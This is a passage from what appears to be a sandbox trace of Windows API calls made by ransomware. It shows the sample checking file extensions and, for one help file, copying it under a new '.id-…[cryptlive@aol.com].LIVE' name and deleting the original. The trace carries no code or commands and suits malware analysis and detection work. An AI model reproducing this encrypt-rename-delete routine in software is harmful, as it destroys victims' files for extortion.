Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString=".jpg") returned 4 [0052.578] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString=".doc") returned 4 [0052.578] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString=".docx") returned 5 [0052.578] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0052.578] lstrlenW (lpString=".pdf") returned 4 [0052.578] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString=".xls") returned 4 [0052.578] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString=".xlsx") returned 5 [0052.578] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0052.578] lstrlenW (lpString=".ppt") returned 4 [0052.578] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString=".zip") returned 4 [0052.578] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString=".rar") returned 4 [0052.579] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.579] lstrlenW (lpString=".bz2") returned 4 [0052.579] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.579] lstrlenW (lpString=".7z") returned 3 [0052.579] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.579] lstrlenW (lpString=".dbf") returned 4 [0052.579] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.579] lstrlenW (lpString=".1cd") returned 4 [0052.579] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.579] lstrlenW (lpString=".jpg") returned 4 [0052.579] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.579] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.579] lstrlenW (lpString="VBOB6.CHM") returned 9 [0052.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.579] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=123956) returned 1 [0052.579] CloseHandle (hObject=0x200) returned 1 [0052.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0052.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.580] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.580] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.580] GetLastError () returned 0x0 [0052.580] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0052.691] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0052.695] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.695] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.695] SetEndOfFile (hFile=0x20c) returned 1 [0052.744] CloseHandle (hObject=0x20c) returned 1 [0052.744] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.744] SetEndOfFile (hFile=0x200) returned 1 [0052.779] CloseHandle (hObject=0x200) returned 1 [0052.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.779] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0052.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.779] lstrlenW (lpString=".doc") returned 4 [0052.779] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.779] lstrlenW (lpString=".docx") returned 5 [0052.779] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.779] lstrlenW (lpString=".pdf") returned 4 [0052.779] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.779] lstrlenW (lpString=".xls") returned 4 [0052.780] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString=".xlsx") returned 5 [0052.780] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.780] lstrlenW (lpString=".ppt") returned 4 [0052.780] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.780] lstrlenW (lpString=".zip") returned 4 [0052.780] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString=".rar") returned 4 [0052.780] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString=".bz2") returned 4 [0052.780] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.780] lstrlenW (lpString=".7z") returned 3 [0052.780] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.780] lstrlenW (lpString=".dbf") returned 4 [0052.780] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.780] lstrlenW (lpString=".1cd") returned 4 [0052.780] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.780] lstrlenW (lpString=".jpg") returned 4 [0052.780] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.780] lstrlenW (lpString=".doc") returned 4 [0052.780] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString=".docx") returned 5 [0052.780] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.780] lstrlenW (lpString=".pdf") returned 4 [0052.780] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.780] lstrlenW (lpString=".xls") returned 4 [0052.780] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.781] lstrlenW (lpString=".xlsx") returned 5 [0052.781] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.781] lstrlenW (lpString=".ppt") returned 4 [0052.781] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.781] lstrlenW (lpString=".zip") returned 4 [0052.781] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.781] lstrlenW (lpString=".rar") returned 4 [0052.781] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.781] lstrlenW (lpString=".bz2") returned 4 [0052.781] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.781] lstrlenW (lpString=".7z") returned 3 [0052.781] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.781] lstrlenW (lpString=".dbf") returned 4 [0052.781] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.781] lstrlenW (lpString=".1cd") returned 4 [0052.781] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0052.781] lstrlenW (lpString=".jpg") returned 4 [0052.781] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.781] lstrcmpiW (lpString1=".bmp", lpString2=".LIVE") returned -1 [0052.781] lstrlenW (lpString="verisign.bmp") returned 12 [0052.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.825] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2702) returned 1 [0052.825] CloseHandle (hObject=0x200) returned 1 [0052.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0052.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.825] lstrlenW (lpString=".doc") returned 4 [0052.825] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0052.825] lstrlenW (lpString=".docx") returned 5 [0052.825] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0052.825] lstrlenW (lpString=".pdf") returned 4 [0052.825] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0052.825] lstrlenW (lpString=".xls") returned 4 [0052.825] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString=".xlsx") returned 5 [0052.826] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0052.826] lstrlenW (lpString=".ppt") returned 4 [0052.826] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.826] lstrlenW (lpString=".zip") returned 4 [0052.826] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString=".rar") returned 4 [0052.826] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString=".bz2") returned 4 [0052.826] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString=".7z") returned 3 [0052.826] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0052.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.826] lstrlenW (lpString=".dbf") returned 4 [0052.826] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.826] lstrlenW (lpString=".1cd") returned 4 [0052.826] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0052.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.826] lstrlenW (lpString=".jpg") returned 4 [0052.826] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.826] lstrlenW (lpString=".doc") returned 4 [0052.826] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString=".docx") returned 5 [0052.826] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0052.826] lstrlenW (lpString=".pdf") returned 4 [0052.826] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0052.826] lstrlenW (lpString=".xls") returned 4 [0052.827] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0052.827] lstrlenW (lpString=".xlsx") returned 5 [0052.827] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0052.827] lstrlenW (lpString=".ppt") returned 4 [0052.827] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0052.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.827] lstrlenW (lpString=".zip") returned 4 [0052.827] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0052.827] lstrlenW (lpString=".rar") returned 4 [0052.827] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0052.827] lstrlenW (lpString=".bz2") returned 4 [0052.827] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0052.827] lstrlenW (lpString=".7z") returned 3 [0052.827] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0052.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.827] lstrlenW (lpString=".dbf") returned 4 [0052.827] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0052.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.827] lstrlenW (lpString=".1cd") returned 4 [0052.827] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0052.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0052.827] lstrlenW (lpString=".jpg") returned 4 [0052.827] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0052.827] lstrcmpiW (lpString1=".inc", lpString2=".LIVE") returned -1 [0052.827] lstrlenW (lpString="adojavas.inc") returned 12 [0052.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.829] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=14610) returned 1 [0052.829] CloseHandle (hObject=0x200) returned 1 [0052.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0052.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.834] lstrlenW (lpString=".doc") returned 4 [0052.834] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0052.834] lstrlenW (lpString=".docx") returned 5 [0052.834] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0052.834] lstrlenW (lpString=".pdf") returned 4 [0052.834] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0052.834] lstrlenW (lpString=".xls") returned 4 [0052.834] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0052.834] lstrlenW (lpString=".xlsx") returned 5 [0052.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0052.834] lstrlenW (lpString=".ppt") returned 4 [0052.834] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0052.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.835] lstrlenW (lpString=".zip") returned 4 [0052.835] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0052.835] lstrlenW (lpString=".rar") returned 4 [0052.835] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0052.835] lstrlenW (lpString=".bz2") returned 4 [0052.835] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0052.835] lstrlenW (lpString=".7z") returned 3 [0052.835] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0052.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.835] lstrlenW (lpString=".dbf") returned 4 [0052.835] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0052.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.835] lstrlenW (lpString=".1cd") returned 4 [0052.835] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0052.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.835] lstrlenW (lpString=".jpg") returned 4 [0052.835] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0052.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.835] lstrlenW (lpString=".doc") returned 4 [0052.836] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0052.836] lstrlenW (lpString=".docx") returned 5 [0052.836] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0052.836] lstrlenW (lpString=".pdf") returned 4 [0052.836] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0052.836] lstrlenW (lpString=".xls") returned 4 [0052.836] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0052.836] lstrlenW (lpString=".xlsx") returned 5 [0052.836] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0052.836] lstrlenW (lpString=".ppt") returned 4 [0052.836] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0052.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.836] lstrlenW (lpString=".zip") returned 4 [0052.836] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0052.836] lstrlenW (lpString=".rar") returned 4 [0052.836] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0052.836] lstrlenW (lpString=".bz2") returned 4 [0052.836] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0052.836] lstrlenW (lpString=".7z") returned 3 [0052.836] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0052.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.836] lstrlenW (lpString=".dbf") returned 4 [0052.836] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0052.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.836] lstrlenW (lpString=".1cd") returned 4 [0052.836] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0052.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0052.836] lstrlenW (lpString=".jpg") returned 4 [0052.836] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0052.837] lstrcmpiW (lpString1=".inc", lpString2=".LIVE") returned -1 [0052.837] lstrlenW (lpString="adovbs.inc") returned 10 [0052.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.837] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=14951) returned 1 [0052.837] CloseHandle (hObject=0x200) returned 1 [0052.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0052.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.837] lstrlenW (lpString=".doc") returned 4 [0052.837] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0052.837] lstrlenW (lpString=".docx") returned 5 [0052.837] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0052.837] lstrlenW (lpString=".pdf") returned 4 [0052.837] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0052.837] lstrlenW (lpString=".xls") returned 4 [0052.837] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString=".xlsx") returned 5 [0052.838] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0052.838] lstrlenW (lpString=".ppt") returned 4 [0052.838] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.838] lstrlenW (lpString=".zip") returned 4 [0052.838] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString=".rar") returned 4 [0052.838] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString=".bz2") returned 4 [0052.838] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0052.838] lstrlenW (lpString=".7z") returned 3 [0052.838] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0052.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.838] lstrlenW (lpString=".dbf") returned 4 [0052.838] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0052.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.838] lstrlenW (lpString=".1cd") returned 4 [0052.838] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0052.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.838] lstrlenW (lpString=".jpg") returned 4 [0052.838] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.838] lstrlenW (lpString=".doc") returned 4 [0052.838] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0052.838] lstrlenW (lpString=".docx") returned 5 [0052.838] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0052.838] lstrlenW (lpString=".pdf") returned 4 [0052.838] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString=".xls") returned 4 [0052.838] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0052.838] lstrlenW (lpString=".xlsx") returned 5 [0052.838] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0052.839] lstrlenW (lpString=".ppt") returned 4 [0052.839] lstrcmpiW 